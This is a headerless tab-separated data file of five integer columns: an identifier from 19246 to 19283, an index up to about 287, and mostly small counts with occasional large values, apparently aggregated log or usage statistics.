19246	108	1	0	0
19246	125	1	0	0
19246	132	1	0	0
19246	144	1	0	0
19246	151	2	0	0
19246	156	1	0	0
19246	166	1	0	0
19246	171	1	0	0
19246	175	2	0	0
19246	192	1	0	0
19246	193	1	0	0
19246	199	1	0	0
19246	227	1	0	0
19246	228	1	0	0
19246	232	2	0	115
19246	235	1	0	0
19246	245	1	0	0
19246	283	2	0	115
19247	7	1	0	0
19247	30	3	0	0
19247	33	1	0	0
19247	51	2	0	0
19247	54	1	0	0
19247	57	1	0	0
19247	58	2	0	0
19247	62	1	0	0
19247	63	1	0	0
19247	85	2	0	0
19247	88	1	0	0
19247	96	1	0	0
19247	99	1	0	0
19247	105	1	0	0
19247	113	1	0	0
19247	129	1	0	0
19247	131	1	0	0
19247	133	1	0	0
19247	135	2	0	0
19247	139	1	0	0
19247	141	1	0	0
19247	143	1	0	0
19247	144	1	0	0
19247	152	1	0	0
19247	154	1	0	0
19247	155	1	0	0
19247	161	1	0	0
19247	163	1	0	0
19247	167	1	0	0
19247	173	3	0	1045
19247	174	2	0	0
19247	182	1	0	0
19247	184	1	0	0
19247	191	1	0	0
19247	193	1	0	0
19247	218	2	0	0
19247	227	3	0	115
19247	254	1	0	0
19247	280	1	0	0
19247	281	1	0	0
19247	285	2	0	115
19248	22	1	0	0
19248	30	1	0	0
19248	35	2	0	0
19248	42	1	0	0
19248	46	1	0	0
19248	48	1	0	0
19248	49	1	0	0
19248	52	1	0	0
19248	53	1	0	0
19248	54	1	0	0
19248	55	1	0	0
19248	57	1	0	0
19248	64	1	0	0
19248	70	1	0	0
19248	76	1	0	0
19248	78	1	0	0
19248	81	1	0	0
19248	82	1	0	0
19248	90	3	0	0
19248	105	2	0	0
19248	106	1	0	0
19248	109	1	0	0
19248	116	3	0	0
19248	119	1	0	0
19248	130	1	0	0
19248	133	1	0	0
19248	139	1	0	0
19248	142	1	0	0
19248	149	1	0	0
19248	150	2	0	0
19248	152	1	0	0
19248	155	1	0	0
19248	166	1	0	0
19248	169	2	0	0
19248	170	1	0	0
19248	186	1	0	0
19248	190	1	0	0
19248	202	1	0	0
19248	203	1	0	0
19248	205	1	0	0
19248	206	1	0	0
19248	209	1	0	0
19248	210	1	0	0
19248	211	1	0	0
19248	212	2	0	0
19248	213	1	0	0
19248	217	2	0	0
19248	218	1	0	0
19248	230	1	0	0
19248	233	1	0	0
19248	237	2	0	0
19248	238	1	0	0
19248	239	1	0	0
19248	242	1	0	0
19248	243	1	0	0
19248	245	1	0	0
19248	246	1	0	0
19248	249	1	0	0
19248	258	1	0	0
19248	264	2	0	0
19248	265	1	0	0
19248	266	1	0	0
19248	268	1	0	0
19248	274	1	0	0
19248	276	1	0	0
19248	277	1	0	0
19248	283	2	0	0
19248	285	1	0	0
19249	2	2	0	0
19249	10	1	0	0
19249	14	1	0	0
19249	16	2	0	0
19249	18	1	0	0
19249	19	3	0	0
19249	21	1	0	0
19249	22	1	0	0
19249	23	1	0	0
19249	29	1	0	0
19249	36	1	0	0
19249	37	1	0	0
19249	39	1	0	0
19249	40	1	0	0
19249	43	1	0	0
19249	44	2	0	2
19249	48	1	0	0
19249	51	1	0	0
19249	57	1	0	0
19249	61	2	0	0
19249	64	2	0	0
19249	66	2	0	115
19249	67	1	0	0
19249	71	2	0	115
19249	72	1	0	0
19249	73	2	0	0
19249	74	1	0	0
19249	75	2	0	0
19249	87	1	0	0
19249	109	1	0	0
19249	112	1	0	0
19249	122	2	0	0
19249	123	1	0	0
19249	142	1	0	0
19249	166	1	0	0
19249	180	2	0	0
19249	187	2	0	0
19249	189	1	0	0
19249	192	1	0	0
19249	196	1	0	0
19249	199	1	0	0
19249	203	1	0	0
19249	205	1	0	0
19249	206	1	0	0
19249	211	1	0	0
19249	223	1	0	0
19249	238	1	0	0
19249	246	1	0	0
19249	249	1	0	0
19249	263	1	0	0
19249	264	4	0	0
19249	272	1	0	0
19249	273	1	0	0
19249	283	1	0	0
19250	3	1	0	0
19250	7	1	0	0
19250	9	2	0	0
19250	10	1	0	0
19250	11	1	0	0
19250	18	1	0	0
19250	21	1	0	0
19250	23	1	0	0
19250	28	2	0	115
19250	34	1	0	0
19250	36	1	0	0
19250	40	1	0	0
19250	51	1	0	0
19250	59	1	0	0
19250	61	2	0	115
19250	65	1	0	0
19250	68	1	0	0
19250	70	1	0	0
19250	75	1	0	0
19250	77	1	0	0
19250	83	1	0	0
19250	84	1	0	0
19250	86	1	0	0
19250	87	2	0	0
19250	90	2	0	0
19250	100	1	0	0
19250	111	1	0	0
19250	120	1	0	0
19250	122	1	0	0
19250	127	1	0	0
19250	130	1	0	0
19250	136	1	0	0
19250	138	2	0	0
19250	142	1	0	0
19250	144	1	0	0
19250	150	1	0	0
19250	152	1	0	0
19250	164	1	0	0
19250	165	1	0	0
19250	170	1	0	0
19250	172	2	0	0
19250	181	1	0	0
19250	183	1	0	0
19250	204	1	0	0
19250	205	1	0	0
19250	209	1	0	0
19250	215	2	0	0
19250	218	1	0	0
19250	223	1	0	0
19250	229	1	0	0
19250	233	1	0	0
19250	234	1	0	0
19250	245	2	0	0
19250	252	1	0	0
19250	264	2	0	0
19250	268	1	0	0
19250	269	1	0	0
19250	271	1	0	0
19250	273	1	0	0
19250	275	1	0	0
19250	279	1	0	0
19250	285	1	0	0
19250	286	1	0	0
19251	2	1	0	0
19251	5	1	0	0
19251	20	2	0	0
19251	26	1	0	0
19251	35	1	0	0
19251	44	1	0	0
19251	53	1	0	0
19251	54	1	0	0
19251	55	1	0	0
19251	58	1	0	0
19251	63	2	0	0
19251	64	1	0	0
19251	65	1	0	0
19251	66	1	0	0
19251	67	1	0	0
19251	69	1	0	0
19251	71	1	0	0
19251	74	3	0	0
19251	78	2	0	0
19251	79	1	0	0
19251	91	2	0	0
19251	93	1	0	0
19251	95	1	0	0
19251	98	2	0	229
19251	108	1	0	0
19251	110	2	0	0
19251	112	1	0	0
19251	125	1	0	0
19251	126	1	0	0
19251	130	2	0	0
19251	131	2	0	0
19251	137	1	0	0
19251	148	1	0	0
19251	152	1	0	0
19251	154	1	0	0
19251	155	1	0	0
19251	157	2	0	115
19251	158	1	0	0
19251	166	1	0	0
19251	168	2	0	0
19251	169	1	0	0
19251	172	1	0	0
19251	181	1	0	0
19251	183	3	0	0
19251	188	1	0	0
19251	189	1	0	0
19251	190	1	0	0
19251	192	2	0	0
19251	193	1	0	0
19251	194	1	0	0
19251	197	1	0	0
19251	200	1	0	0
19251	203	1	0	0
19251	205	1	0	0
19251	216	1	0	0
19251	217	2	0	0
19251	220	1	0	0
19251	226	1	0	0
19251	230	1	0	0
19251	233	1	0	0
19251	238	1	0	0
19251	239	1	0	0
19251	240	2	0	0
19251	246	1	0	0
19251	247	1	0	0
19251	249	1	0	0
19251	251	1	0	0
19251	259	1	0	0
19251	261	1	0	0
19251	264	1	0	0
19251	266	1	0	0
19251	267	1	0	0
19251	268	1	0	0
19251	269	1	0	0
19251	270	1	0	0
19251	272	1	0	0
19251	273	2	0	0
19251	277	1	0	0
19251	282	1	0	0
19251	286	1	0	0
19252	1	1	0	0
19252	12	2	0	115
19252	14	3	0	1045
19252	20	1	0	0
19252	25	1	0	0
19252	29	2	0	0
19252	31	1	0	0
19252	35	1	0	0
19252	39	1	0	0
19252	40	1	0	0
19252	41	1	0	0
19252	43	1	0	0
19252	44	1	0	0
19252	51	1	0	0
19252	52	1	0	0
19252	53	1	0	0
19252	54	1	0	0
19252	57	1	0	0
19252	63	1	0	0
19252	64	2	0	0
19252	67	1	0	0
19252	68	1	0	0
19252	77	1	0	0
19252	82	1	0	0
19252	87	2	0	0
19252	93	1	0	0
19252	94	1	0	0
19252	103	1	0	0
19252	132	2	0	0
19252	136	1	0	0
19252	138	2	0	0
19252	141	2	0	0
19252	143	1	0	0
19252	146	2	0	0
19252	150	2	0	115
19252	151	1	0	0
19252	154	1	0	0
19252	157	1	0	0
19252	159	1	0	0
19252	164	2	0	0
19252	174	1	0	0
19252	175	1	0	0
19252	180	1	0	0
19252	182	2	0	0
19252	188	1	0	0
19252	196	1	0	0
19252	203	1	0	0
19252	211	1	0	0
19252	216	1	0	0
19252	217	2	0	0
19252	218	1	0	0
19252	223	1	0	0
19252	226	1	0	0
19252	228	1	0	0
19252	229	1	0	0
19252	231	1	0	0
19252	232	1	0	0
19252	233	1	0	0
19252	234	1	0	0
19252	235	1	0	0
19252	236	1	0	0
19252	239	1	0	0
19252	248	1	0	0
19252	255	2	0	0
19252	257	1	0	0
19252	270	1	0	0
19252	271	1	0	0
19252	275	1	0	0
19252	279	2	0	0
19252	280	1	0	0
19252	285	1	0	0
19253	4	2	0	0
19253	6	1	0	0
19253	18	1	0	0
19253	21	1	0	0
19253	23	1	0	0
19253	26	1	0	0
19253	37	2	0	0
19253	59	2	0	0
19253	60	1	0	0
19253	61	1	0	0
19253	73	1	0	0
19253	101	2	0	0
19253	109	2	0	115
19253	110	2	0	115
19253	116	1	0	0
19253	123	1	0	0
19253	132	1	0	0
19253	151	1	0	0
19253	158	2	0	0
19253	162	1	0	0
19253	165	1	0	0
19253	166	1	0	0
19253	167	3	0	0
19253	172	1	0	0
19253	173	1	0	0
19253	178	1	0	0
19253	179	1	0	0
19253	182	2	0	0
19253	184	1	0	0
19253	190	2	0	0
19253	191	1	0	0
19253	193	1	0	0
19253	198	2	0	0
19253	200	2	0	0
19253	201	1	0	0
19253	205	1	0	0
19253	207	1	0	0
19253	209	1	0	0
19253	210	1	0	0
19253	212	1	0	0
19253	218	2	0	0
19253	221	1	0	0
19253	222	1	0	0
19253	225	2	0	0
19253	227	1	0	0
19253	233	1	0	0
19253	238	1	0	0
19253	241	1	0	0
19253	250	1	0	0
19253	251	1	0	0
19253	254	4	0	0
19253	264	1	0	0
19253	270	2	0	0
19253	272	1	0	0
19253	275	1	0	0
19254	14	1	0	0
19254	15	1	0	0
19254	32	1	0	0
19254	33	1	0	0
19254	35	2	0	0
19254	36	1	0	0
19254	39	1	0	0
19254	40	1	0	0
19254	55	2	0	0
19254	58	1	0	0
19254	60	1	0	0
19254	78	1	0	0
19254	79	1	0	0
19254	82	1	0	0
19254	85	1	0	0
19254	88	1	0	0
19254	94	1	0	0
19254	95	1	0	0
19254	102	1	0	0
19254	109	1	0	0
19254	113	1	0	0
19254	120	1	0	0
19254	124	1	0	0
19254	125	1	0	0
19254	126	1	0	0
19254	129	2	0	0
19254	154	2	0	0
19254	161	1	0	0
19254	172	1	0	0
19254	174	2	0	0
19254	176	1	0	0
19254	178	1	0	0
19254	182	1	0	0
19254	183	1	0	0
19254	190	1	0	0
19254	192	2	0	0
19254	193	1	0	0
19254	194	1	0	0
19254	196	2	0	0
19254	199	1	0	0
19254	211	2	0	0
19254	212	1	0	0
19254	217	1	0	0
19254	218	1	0	0
19254	222	3	0	115
19254	231	2	0	115
19254	234	3	0	0
19254	236	2	0	0
19254	243	1	0	0
19254	259	1	0	0
19254	261	1	0	0
19254	262	1	0	0
19254	264	1	0	0
19254	272	1	0	0
19254	283	1	0	0
19254	287	2	0	0
19255	11	1	0	0
19255	14	1	0	0
19255	15	1	0	0
19255	23	1	0	0
19255	24	1	0	0
19255	26	1	0	0
19255	27	4	0	0
19255	28	1	0	0
19255	32	1	0	0
19255	37	1	0	0
19255	43	2	0	0
19255	44	1	0	0
19255	48	1	0	0
19255	52	2	0	0
19255	56	1	0	0
19255	61	2	0	0
19255	67	1	0	0
19255	72	2	0	0
19255	73	7	0	167653
19255	81	1	0	0
19255	83	1	0	0
19255	85	1	0	0
19255	86	1	0	0
19255	88	1	0	0
19255	93	2	0	0
19255	95	1	0	0
19255	100	2	0	0
19255	105	1	0	0
19255	107	1	0	0
19255	110	1	0	0
19255	121	1	0	0
19255	125	2	0	0
19255	126	1	0	0
19255	132	3	0	0
19255	138	1	0	0
19255	141	1	0	0
19255	147	1	0	0
19255	148	1	0	0
19255	155	2	0	0
19255	163	1	0	0
19255	165	1	0	0
19255	167	1	0	0
19255	176	1	0	115
19255	180	1	0	0
19255	186	1	0	0
19255	189	1	0	0
19255	194	1	0	0
19255	200	1	0	0
19255	204	1	0	0
19255	211	2	0	0
19255	218	2	1	6786
19255	225	1	0	0
19255	226	1	0	0
19255	230	1	0	0
19255	231	5	0	0
19255	239	1	0	0
19255	263	2	0	115
19255	280	1	0	0
19255	286	1	0	0
19256	4	1	0	0
19256	10	1	0	0
19256	24	1	0	0
19256	25	4	0	0
19256	31	1	0	0
19256	53	1	0	0
19256	54	1	0	0
19256	58	1	0	0
19256	63	1	0	0
19256	71	1	0	0
19256	72	1	0	0
19256	74	1	0	0
19256	77	1	0	0
19256	80	1	0	0
19256	85	4	0	0
19256	87	1	0	0
19256	112	2	0	0
19256	120	1	0	0
19256	124	1	0	0
19256	126	2	0	0
19256	130	1	0	0
19256	132	1	0	0
19256	152	1	0	0
19256	153	2	0	0
19256	161	1	0	0
19256	169	1	0	0
19256	171	1	0	0
19256	172	1	0	0
19256	174	1	0	0
19256	178	1	0	0
19256	181	1	0	0
19256	185	4	1	6786
19256	188	1	0	0
19256	189	1	0	0
19256	192	1	0	0
19256	200	2	0	1045
19256	209	2	0	0
19256	235	1	0	0
19256	238	2	0	0
19256	239	1	0	0
19256	246	1	0	0
19256	250	1	0	0
19256	254	1	0	0
19256	266	1	0	0
19256	269	1	0	0
19257	0	3	0	115
19257	7	3	0	0
19257	17	1	0	0
19257	28	3	0	0
19257	35	1	0	0
19257	42	1	0	0
19257	63	1	0	0
19257	64	1	0	0
19257	71	1	0	0
19257	73	1	0	0
19257	75	1	0	0
19257	85	1	0	0
19257	90	1	0	0
19257	105	2	0	115
19257	107	1	0	0
19257	113	1	0	0
19257	117	2	0	0
19257	119	2	0	115
19257	122	2	0	115
19257	125	2	0	0
19257	135	1	0	0
19257	138	1	0	0
19257	149	1	0	0
19257	164	1	0	0
19257	180	1	0	0
19257	187	5	0	22448
19257	192	2	0	0
19257	196	1	0	0
19257	204	1	0	0
19257	222	1	0	0
19257	223	1	0	0
19257	232	1	0	0
19257	243	1	0	0
19257	247	1	0	0
19257	267	1	0	0
19257	275	1	0	0
19257	278	1	0	0
19257	283	1	0	0
19257	287	3	0	0
19258	0	1	0	0
19258	4	1	0	0
19258	9	1	0	0
19258	22	1	0	0
19258	51	2	0	0
19258	57	1	0	0
19258	58	1	0	0
19258	65	1	0	0
19258	79	1	0	0
19258	86	2	0	0
19258	119	2	0	2
19258	154	1	0	0
19258	155	1	0	0
19258	166	1	0	0
19258	169	1	0	0
19258	175	1	0	0
19258	176	1	0	0
19258	189	1	0	0
19258	194	1	0	0
19258	198	1	0	0
19258	209	1	0	0
19258	210	2	0	0
19258	213	2	2	3026
19258	218	1	0	0
19258	228	1	0	0
19258	229	3	0	0
19258	233	1	0	0
19258	236	1	0	0
19258	238	1	0	0
19258	241	1	0	0
19258	244	1	0	0
19258	245	2	0	0
19258	247	1	0	0
19258	248	1	0	0
19258	251	1	0	0
19258	258	1	0	0
19258	262	1	0	0
19258	265	2	0	0
19258	272	1	0	0
19259	2	1	0	0
19259	6	1	0	0
19259	9	1	0	0
19259	12	1	0	0
19259	30	1	0	0
19259	31	1	0	0
19259	34	1	0	0
19259	40	1	0	0
19259	43	1	0	0
19259	46	1	0	0
19259	48	1	0	0
19259	49	1	0	0
19259	52	1	0	0
19259	53	1	0	0
19259	57	1	0	0
19259	61	1	0	0
19259	62	2	0	0
19259	64	1	0	0
19259	72	1	0	0
19259	83	1	0	0
19259	97	1	0	0
19259	106	1	0	0
19259	112	3	0	0
19259	120	1	0	0
19259	130	1	0	0
19259	149	1	0	0
19259	152	2	0	115
19259	153	1	0	0
19259	157	1	0	0
19259	158	1	0	0
19259	162	3	0	115
19259	173	1	0	0
19259	175	1	0	0
19259	179	1	0	0
19259	183	1	0	0
19259	188	1	0	1045
19259	189	1	0	0
19259	191	1	0	0
19259	194	1	0	0
19259	196	1	0	0
19259	198	1	0	0
19259	210	1	0	0
19259	211	1	0	0
19259	219	1	0	0
19259	221	1	0	0
19259	236	3	0	0
19259	240	1	0	0
19259	269	1	0	0
19259	274	1	0	0
19259	280	1	0	0
19260	5	1	0	0
19260	8	1	0	0
19260	9	1	0	0
19260	11	2	0	0
19260	12	4	0	0
19260	13	1	0	0
19260	14	1	0	0
19260	15	2	0	0
19260	16	7	0	167653
19260	17	1	0	0
19260	19	1	0	0
19260	28	1	0	0
19260	32	1	0	0
19260	39	1	0	0
19260	42	2	0	0
19260	46	1	0	0
19260	47	1	0	0
19260	49	3	0	1306
19260	50	4	0	0
19260	52	1	0	0
19260	55	1	0	0
19260	59	1	0	0
19260	60	1	0	0
19260	61	1	0	0
19260	83	1	0	0
19260	87	1	0	0
19260	110	1	0	0
19260	112	1	0	0
19260	115	1	0	0
19260	117	1	0	0
19260	126	1	0	0
19260	128	2	0	0
19260	135	1	0	0
19260	136	1	0	0
19260	137	2	0	0
19260	138	1	0	0
19260	143	1	0	0
19260	147	1	0	0
19260	149	1	0	0
19260	154	1	0	0
19260	163	1	0	0
19260	182	1	0	0
19260	206	1	0	0
19260	217	1	0	0
19260	228	1	0	0
19260	229	1	0	0
19260	277	2	0	115
19261	4	2	0	0
19261	13	1	0	0
19261	24	1	0	0
19261	25	2	0	115
19261	26	2	0	115
19261	33	1	0	0
19261	44	2	0	1045
19261	46	20	0	1410
19261	48	1	0	0
19261	56	1	0	0
19261	71	1	0	0
19261	75	1	0	0
19261	92	1	0	0
19261	119	1	0	0
19261	123	1	0	0
19261	132	1	0	0
19261	133	1	0	0
19261	146	1	0	0
19261	155	1	0	0
19261	193	1	0	0
19261	216	1	0	0
19261	218	1	0	0
19261	225	3	2	13572
19261	226	3	2	13572
19261	229	1	0	0
19261	238	1	0	0
19261	264	1	0	0
19261	265	1	0	0
19261	275	2	0	115
19261	277	1	0	0
19261	283	1	0	0
19261	287	2	0	115
19262	46	30	0	2180
19262	54	1	0	0
19262	57	1	0	0
19262	58	1	0	0
19262	67	1	0	0
19262	68	1	0	0
19262	89	1	0	0
19262	96	4	0	0
19262	103	1	0	0
19262	109	1	0	0
19262	116	1	0	0
19262	137	3	1	76
19262	164	2	0	0
19262	180	1	0	0
19262	182	1	0	0
19262	205	1	0	0
19262	214	2	0	0
19262	224	1	0	0
19262	240	1	0	0
19262	243	1	0	0
19262	249	1	0	0
19262	257	1	0	0
19262	259	1	0	0
19262	260	1	0	0
19262	264	1	0	0
19262	268	1	0	0
19263	9	1	0	0
19263	52	1	0	0
19263	60	1	0	0
19263	77	2	0	0
19263	84	1	0	0
19263	86	1	0	0
19263	87	1	0	0
19263	93	1	0	0
19263	109	1	0	0
19263	119	1	0	0
19263	125	1	0	0
19263	127	1	0	0
19263	131	1	0	0
19263	195	1	0	0
19263	200	2	0	0
19263	215	1	0	0
19263	228	1	0	0
19263	249	1	0	0
19263	252	1	0	0
19263	273	1	0	0
19263	276	1	0	0
19263	280	1	0	0
19264	52	1	0	0
19264	55	2	0	0
19264	70	2	0	115
19264	76	1	0	0
19264	77	1	0	0
19264	79	2	0	115
19264	87	1	0	0
19264	92	1	0	0
19264	93	1	0	0
19264	110	1	0	0
19264	112	1	0	0
19264	113	1	0	0
19264	114	2	1	6786
19264	137	1	0	0
19264	150	1	0	0
19264	172	1	0	0
19264	185	1	0	0
19264	187	1	0	0
19264	188	1	0	0
19264	207	2	0	0
19264	210	1	0	0
19264	211	3	0	0
19264	218	1	0	0
19264	219	1	0	0
19264	245	1	0	0
19264	246	1	0	0
19264	261	1	0	0
19264	276	2	0	1045
19264	282	1	0	0
19264	283	1	0	0
19265	8	1	0	0
19265	32	1	0	0
19265	35	1	0	0
19265	60	1	0	0
19265	66	2	0	0
19265	92	2	0	115
19265	173	1	0	0
19265	174	3	0	0
19265	179	2	0	0
19265	184	1	0	0
19265	237	2	0	0
19265	238	1	0	0
19265	249	1	0	0
19265	251	1	0	0
19265	277	2	0	0
19266	19	3	0	0
19266	28	1	0	0
19266	37	1	0	0
19266	52	1	0	0
19266	58	1	0	0
19266	74	1	0	0
19266	75	1	0	0
19266	97	1	0	0
19266	106	1	0	0
19266	123	2	0	115
19266	126	1	0	0
19266	131	1	0	0
19266	137	1	0	0
19266	162	1	0	0
19266	228	1	0	0
19266	229	2	0	0
19266	231	1	0	0
19266	246	1	0	0
19266	259	1	0	0
19266	264	1	0	0
19267	32	1	0	0
19267	52	1	0	0
19267	53	1	0	0
19267	77	1	0	0
19267	78	2	0	115
19267	82	2	0	0
19267	88	3	0	0
19267	111	1	0	0
19267	113	1	0	0
19267	116	1	0	0
19267	123	9	4	251
19267	133	1	0	0
19267	150	2	1	6786
19267	165	1	0	0
19267	170	1	0	0
19267	185	3	0	0
19267	205	1	0	0
19267	219	1	0	0
19267	223	2	0	0
19267	225	1	0	0
19267	231	1	0	0
19267	235	1	0	0
19267	246	1	0	0
19267	255	4	0	0
19267	264	1	0	0
19267	271	1	0	0
19267	276	1	0	0
19268	19	3	0	0
19268	30	1	0	0
19268	47	1	0	0
19268	50	1	0	0
19268	54	2	0	0
19268	63	1	0	0
19268	93	1	0	0
19268	141	1	0	0
19268	156	1	0	0
19268	163	1	0	0
19268	176	3	0	115
19268	179	1	0	0
19268	236	1	0	0
19268	239	1	0	0
19268	272	1	0	0
19269	7	1	0	0
19269	15	2	0	0
19269	53	1	0	0
19269	54	1	0	0
19269	62	1	0	0
19269	71	1	0	0
19269	88	1	0	0
19269	89	1	0	0
19269	95	2	0	0
19269	97	2	0	0
19269	100	1	0	0
19269	112	1	0	0
19269	114	1	0	0
19269	138	1	0	0
19269	139	1	0	0
19269	156	2	0	0
19269	180	1	0	0
19269	187	1	0	0
19269	188	1	0	0
19269	207	1	0	0
19269	221	1	0	0
19269	229	1	0	0
19269	263	1	0	0
19269	274	1	0	0
19270	8	3	0	1045
19270	51	2	0	0
19270	53	1	0	0
19270	67	1	0	0
19270	72	1	0	0
19270	79	1	0	0
19270	178	2	0	0
19270	182	1	0	0
19270	195	1	0	0
19270	204	4	0	0
19270	210	1	0	0
19270	211	1	0	0
19270	214	1	0	0
19270	226	1	0	0
19270	269	1	0	0
19271	26	2	0	0
19271	33	1	0	0
19271	37	1	0	0
19271	46	1	0	0
19271	50	1	0	0
19271	51	1	0	0
19271	69	1	0	0
19271	74	1	0	0
19271	83	1	0	0
19271	84	1	0	0
19271	92	1	0	0
19271	117	1	0	0
19271	123	3	0	115
19271	134	1	0	0
19271	153	2	1	6786
19271	162	1	0	0
19271	195	1	0	0
19271	217	2	0	0
19271	218	1	0	0
19271	223	2	0	0
19271	237	1	0	0
19271	242	1	0	0
19271	244	1	0	0
19271	253	1	0	0
19271	254	1	0	0
19271	267	2	0	0
19272	9	1	0	0
19272	16	2	0	0
19272	35	2	0	0
19272	41	2	1	6786
19272	46	2	0	0
19272	54	2	0	0
19272	67	1	0	0
19272	70	1	0	0
19272	73	1	0	0
19272	82	1	0	0
19272	85	1	0	0
19272	114	1	0	0
19272	126	1	0	0
19272	138	1	0	0
19272	180	1	0	0
19272	203	1	0	0
19272	214	2	0	115
19272	217	1	0	0
19272	220	1	0	0
19272	222	1	0	0
19272	224	1	0	0
19272	248	1	0	0
19272	252	1	0	0
19272	273	1	0	0
19272	284	1	0	0
19273	8	1	0	0
19273	10	1	0	0
19273	12	1	0	0
19273	15	1	0	0
19273	26	2	0	0
19273	31	1	0	0
19273	39	1	0	0
19273	40	1	0	0
19273	45	1	0	0
19273	50	1	0	0
19273	52	1	0	0
19273	54	1	0	0
19273	55	1	0	0
19273	57	1	0	0
19273	63	1	0	0
19273	74	1	0	0
19273	76	1	0	0
19273	78	1	0	0
19273	80	2	0	0
19273	82	2	0	0
19273	86	2	0	115
19273	87	1	0	0
19273	95	1	0	0
19273	96	1	0	0
19273	97	3	0	0
19273	98	3	0	0
19273	99	1	0	0
19273	107	2	0	115
19273	112	1	0	0
19273	114	1	0	0
19273	119	1	0	0
19273	120	2	0	0
19273	133	1	0	0
19273	161	1	0	0
19273	179	1	0	0
19273	181	1	0	0
19273	200	1	0	0
19273	213	1	0	0
19273	262	1	0	0
19274	38	1	0	0
19274	44	1	0	0
19274	49	2	0	0
19274	62	1	0	0
19274	67	1	0	0
19274	81	1	0	0
19274	96	1	0	0
19274	113	1	0	0
19274	125	1	0	0
19274	134	1	0	0
19274	142	1	0	0
19274	145	3	0	115
19274	152	1	0	0
19274	166	1	0	0
19274	215	1	0	0
19274	221	1	0	0
19274	226	1	0	0
19274	232	1	0	0
19274	233	1	0	0
19274	236	1	0	0
19274	245	1	0	0
19274	249	3	2	13572
19274	256	1	0	0
19274	257	1	0	0
19274	277	2	0	798
19274	281	1	0	0
19275	11	1	0	0
19275	15	1	0	0
19275	18	1	0	0
19275	38	1	0	0
19275	53	2	0	0
19275	76	1	0	0
19275	84	1	0	0
19275	155	1	0	0
19275	171	1	0	0
19275	177	1	0	0
19275	180	1	0	0
19275	184	1	0	0
19275	187	2	0	0
19275	205	2	0	0
19275	237	1	0	0
19275	238	3	0	0
19275	239	2	0	0
19275	249	2	0	0
19275	259	1	0	0
19275	266	1	0	0
19275	269	2	0	0
19275	270	2	0	1045
19275	282	1	0	0
19276	2	1	0	0
19276	9	1	0	0
19276	37	1	0	0
19276	47	1	0	0
19276	52	1	0	0
19276	53	1	0	0
19276	57	1	0	0
19276	58	3	1	6786
19276	90	1	0	0
19276	109	3	0	0
19276	112	1	0	0
19276	113	1	0	0
19276	117	1	0	0
19276	118	1	0	0
19276	119	1	0	0
19276	125	1	0	0
19276	133	6	0	1306
19276	135	2	0	115
19276	138	1	0	0
19276	141	2	0	19196
19276	142	1	0	0
19276	157	2	0	115
19276	185	1	0	0
19276	199	3	0	115
19276	204	1	0	0
19276	215	1	0	0
19276	232	3	0	0
19276	237	3	0	0
19276	238	2	0	0
19276	241	1	0	0
19276	246	1	0	0
19276	247	3	0	0
19276	250	3	0	0
19276	252	2	0	0
19276	258	1	0	0
19276	270	2	0	0
19276	286	1	0	0
19277	0	1	0	0
19277	11	1	0	0
19277	12	1	0	0
19277	21	1	0	0
19277	29	1	0	0
19277	35	1	0	0
19277	39	1	0	0
19277	44	1	0	0
19277	56	1	0	0
19277	67	2	0	19196
19277	69	2	0	0
19277	72	1	0	0
19277	77	1	0	0
19277	80	2	0	0
19277	82	2	0	115
19277	84	1	0	0
19277	85	1	0	0
19277	102	1	0	0
19277	103	1	0	0
19277	119	1	0	0
19277	126	1	0	0
19277	127	1	0	0
19277	130	2	1	6786
19277	141	2	0	0
19277	156	4	0	1306
19277	157	5	0	0
19277	163	1	0	0
19277	213	1	0	0
19277	214	1	0	0
19277	226	1	0	0
19277	238	1	0	0
19277	259	1	0	0
19277	263	1	0	0
19277	268	1	0	0
19277	269	1	0	0
19277	281	1	0	0
19278	51	2	0	0
19278	52	1	0	0
19278	60	2	1	6786
19278	83	1	0	0
19278	120	1	0	0
19278	126	1	0	0
19278	133	1	0	0
19278	141	1	0	0
19278	156	1	0	0
19278	170	1	0	0
19278	184	1	0	0
19278	193	1	0	0
19278	196	1	0	0
19278	198	1	0	0
19278	203	1	0	0
19278	204	1	0	0
19278	229	4	0	0
19278	230	6	0	0
19278	268	1	0	0
19278	285	1	0	0
19278	286	1	0	1045
19279	0	1	0	0
19279	1	1	0	0
19279	16	1	0	0
19279	31	1	0	0
19279	32	1	0	0
19279	37	1	0	0
19279	54	1	0	0
19279	56	1	0	0
19279	69	1	0	0
19279	70	1	0	0
19279	100	1	0	0
19279	122	1	0	0
19279	150	1	0	0
19279	157	1	0	0
19279	169	1	0	0
19279	201	1	0	0
19279	210	1	0	0
19279	214	1	0	0
19279	244	1	0	0
19279	245	3	0	0
19279	246	6	0	0
19279	247	2	0	0
19279	258	1	0	0
19279	262	1	0	0
19279	271	1	0	0
19279	280	1	0	0
19280	1	1	0	0
19280	27	1	0	0
19280	34	1	0	0
19280	35	1	0	0
19280	54	2	0	0
19280	60	1	0	0
19280	66	1	0	0
19280	87	1	0	0
19280	90	2	0	0
19280	103	1	0	0
19280	142	1	0	0
19280	145	1	0	0
19280	163	3	0	0
19280	175	1	0	0
19280	187	1	0	0
19280	204	1	0	0
19280	220	1	0	0
19280	242	1	0	0
19280	243	1	0	0
19280	250	1	0	0
19280	270	2	0	0
19280	285	1	0	0
19281	1	1	0	0
19281	8	1	0	0
19281	27	1	0	0
19281	43	1	0	0
19281	57	1	0	0
19281	58	1	0	0
19281	70	2	0	115
19281	77	1	0	0
19281	92	1	0	0
19281	104	1	0	0
19281	105	1	0	0
19281	122	1	0	0
19281	123	1	0	0
19281	142	2	0	0
19281	146	1	0	0
19281	155	1	0	0
19281	162	1	0	0
19281	179	1	0	0
19281	184	1	0	0
19281	187	2	0	0
19281	199	1	0	0
19281	209	1	0	0
19281	219	1	0	0
19281	224	1	0	0
19281	228	1	0	0
19282	15	1	0	0
19282	19	1	0	0
19282	35	2	0	0
19282	55	1	0	0
19282	66	1	0	0
19282	67	2	0	0
19282	68	1	0	0
19282	77	1	0	0
19282	78	1	0	0
19282	88	1	0	0
19282	89	1	0	0
19282	90	1	0	0
19282	100	1	0	0
19282	112	1	0	0
19282	126	2	0	0
19282	129	3	0	115
19282	132	4	0	0
19282	133	8	0	167653
19282	140	3	0	0
19282	141	9	0	0
19282	142	5	0	0
19282	143	5	0	0
19282	144	2	0	0
19282	151	2	0	0
19282	155	2	0	0
19282	163	1	0	0
19282	172	2	0	0
19282	184	1	0	0
19282	199	1	0	0
19282	200	1	0	0
19282	208	1	0	0
19282	215	2	0	0
19282	220	2	0	0
19282	234	2	0	0
19282	242	2	0	0
19282	245	2	0	0
19282	254	1	0	0
19282	257	1	0	0
19282	258	1	0	0
19282	282	2	0	0
19283	6	2	0	0
19283	29	1	0	0
19283	30	1	0	0
